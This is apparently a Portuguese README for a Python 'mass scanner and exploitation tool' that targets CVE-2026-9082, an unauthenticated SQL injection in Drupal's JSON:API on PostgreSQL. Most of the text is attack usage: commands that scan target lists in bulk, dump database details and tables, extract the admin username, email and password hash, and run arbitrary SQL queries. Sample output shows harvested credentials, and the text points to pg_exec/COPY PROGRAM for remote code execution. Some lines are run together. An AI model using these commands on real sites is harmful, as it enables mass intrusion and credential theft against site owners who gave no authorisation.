
Escaner: CVE-2026-9082 Drupal PostgreSQL SQLi via JSON:API — escaner Python para SQLi não autenticado que leva a RCE (CISA KEV)
Injeção SQL não autenticada no Drupal Core (PostgreSQL)
Injeção de chave de array de filtro JSON:API via abuso do nome do placeholder PDO
CVE-2026-9082 é uma vulnerabilidade de injeção SQL Altamente Crítica no Drupal Core que afeta todos os sites com backend PostgreSQL que executam Drupal 8.0 até 11.3.9. Adicionada ao catálogo CISA Known Exploited Vulnerabilities (KEV) em 2026-05-22 — explorada ativamente na natureza.
| Severidade | CVSS | Autenticação Necessária | Vetor de Ataque |
|---|---|---|---|
| Crítica | 9.8+ | Nenhuma | HTTP (JSON:API) |
pg_exec() ou COPY ... PROGRAM| Status | Versões |
|---|---|
| ❌ Vulnerável | Drupal 8.0.0 → 11.3.9 (backend PostgreSQL) |
| ✅ Corrigida | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
A falha existe em core/modules/pgsql/src/EntityQuery/Condition.php. O método translateCondition() usa chaves de array controladas pelo usuário a partir dos parâmetros de filtro da JSON:API para construir nomes de placeholders PDO. O PDO só reconhece [a-zA-Z0-9_] como nomes de placeholders, portanto qualquer sufixo após ) torna-se SQL literal injetado na consulta.
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep()pip (gerenciador de pacotes Python)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
Só isso! Apenas uma dependência — requests.
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
Formato do targets.txt:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
Esta ferramenta é apenas para testes de segurança autorizados, fins educacionais e pesquisa ética.
O acesso não autorizado a sistemas de computador é ilegal. Os autores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou dano causado por este programa.
Ridhin V A (@ridhinva) — Caçador de bug bounty e pesquisador de segurança
Criada porque a CISA KEV informou que está sendo explorada ativamente. Atualize seus sites Drupal.
| Flag | Descrição |
|---|
-u, --url | URL do alvo único |
-f, --file | Arquivo com alvos (um por linha) |
-o, --output | Salvar resultados da varredura em arquivo |
--check | Verificar se o alvo é vulnerável |
--version | Extrair a versão do PostgreSQL |
--dbinfo | Extrair usuário do banco de dados e nome do banco |
--admin | Extrair credenciais de administrador do Drupal (uid=1) |
--tables | Listar todas as tabelas do banco de dados |
--query | Consulta de extração SQL personalizada |
--threads | Threads para varredura em massa (padrão: 20) |
--timeout | Tempo limite da solicitação HTTP (padrão: 30s) |
--delay | Atraso de pg_sleep para detecção (padrão: 5s) |
--no-ssl-verify | Ignorar verificação do certificado TLS |
--proxy | Proxy HTTP (ex.: http://127.0.0.1:8080) |
| Fonte | Link |
|---|
| Advisory do Drupal | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| Commit do Patch | ea9524d9 |
| Entrada NVD | CVE-2026-9082 |
| Descobridor | Michael Maturi |